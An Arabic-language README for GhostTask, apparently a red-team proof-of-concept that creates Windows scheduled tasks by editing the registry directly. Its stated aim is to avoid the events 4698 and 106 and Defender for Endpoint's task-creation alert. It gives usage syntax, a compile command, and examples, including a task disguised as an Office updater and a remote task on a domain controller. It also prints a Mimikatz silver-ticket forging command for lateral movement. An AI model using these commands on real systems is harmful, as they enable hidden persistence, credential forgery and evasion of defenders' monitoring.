
أداة تستخدم التلاعب المباشر بالسجل لإنشاء مهام مجدولة دون تشغيل سجلات الأحداث المعتادة.
مستوحاة من بحث WithSecure حول التلاعب بالمهام المجدولة، حيث شرحوا جدوى إنشاء مهمة مجدولة فقط من خلال التلاعب بمفاتيح التسجيل. يمكن لمثل هذا النهج تجاوز توليد سجلات أحداث إنشاء المهام المجدولة، مثل 4698 و 106، مما يوفر طريقة أكثر تمويهاً لتحقيق الاستمرارية. في ضوء هذه الأفكار، قمت بتطوير هذا المفهوم التجريبي (POC) لإثبات إنشاء المهام المجدولة من خلال التلاعب المباشر بالتسجيل.
يتطلب إنشاء مهمة مجدولة جديدة إضافة عدة مفاتيح تسجيل وقيمها المرتبطة. نظراً لأن هيكل قيم التسجيل المتعلقة بالمهام المجدولة غير موثق، فقد اعتمدت منهجيتي في بناء هذه الهياكل بشكل أساسي على التجربة والخطأ، مسترشداً بالمقارنات مع قيم التسجيل للمهام المجدولة المشروعة. بالإضافة إلى ذلك، اطلعت أيضاً على الواجهات الموجودة في ملف الرأس Taskschd.h واستفدت بشكل كبير من تحليل تسجيل ويندوز من Cyber.WTF – حلقة اليوم: المهام. كان هذا البحث لا يقدر بثمن في توجيهي لصياغة هيكل كل قيمة تسجيل، مثل Triggers و Actions و DynamicInfo، والتي كانت ضرورية لبناء مهمة مجدولة وظيفية.
توفر الأداة الميزات التالية:
BruteRatel's memexec).*ملاحظة:
ScheduledTaskCreated) في MDE (Microsoft Defender For Endpoint).Usage: GhostTask.exe <hostname/localhost> <operation> <taskname> <program> <argument> <username> <scheduletype> <time/second> <day>
- hostname/localhost: Remote computer name or "localhost".
- operation: add/delete
- add: Create or modify a scheduled task using only registry keys. Requires restarting the "Schedule" service to load the task definition.
- delete: Delete a scheduled task. Requires restarting the "Schedule" service to offload the task.
- taskname: Name of the scheduled task.
- program: Program to be executed.
- argument: Arguments for the program.
- username: User account under which the scheduled task will run.
- scheduletype: Supported triggers: second, daily, weekly, and logon.
- time/second (applicable for 'second', 'daily', and 'weekly' triggers):
- For 'second' trigger: Specify the frequency in seconds for task execution.
- For 'daily' and 'weekly' triggers: Specify the exact time (e.g., 22:30) for task execution.
- day (applicable for 'weekly' trigger): Days to execute the scheduled task (e.g., monday, thursday).
x86_64-w64-mingw32-gcc GhostTask.c -o GhostTask.exe -lrpcrt4
GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday

GhostTask.exe localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37

كما هو موضح في مدونة WithSecure (قسم الإضافي: الحركة الجانبية)، يمكن استخدام هذه التقنية لإنشاء مهمة مجدولة جديدة عن بُعد باستخدام تذكرة فضية مصممة خصيصاً.
kerberos::golden /domain:LAB.CORP /sid:S-1-5-21-1111111111-1111111111-1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S-1-5-18 /endin:600 /renewmax:10080
إنشاء مهمة مجدولة جديدة عن بُعد على خادم DC01 تقوم بتشغيل notepad.exe كل يوم الساعة 3:19 مساءً:
GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19
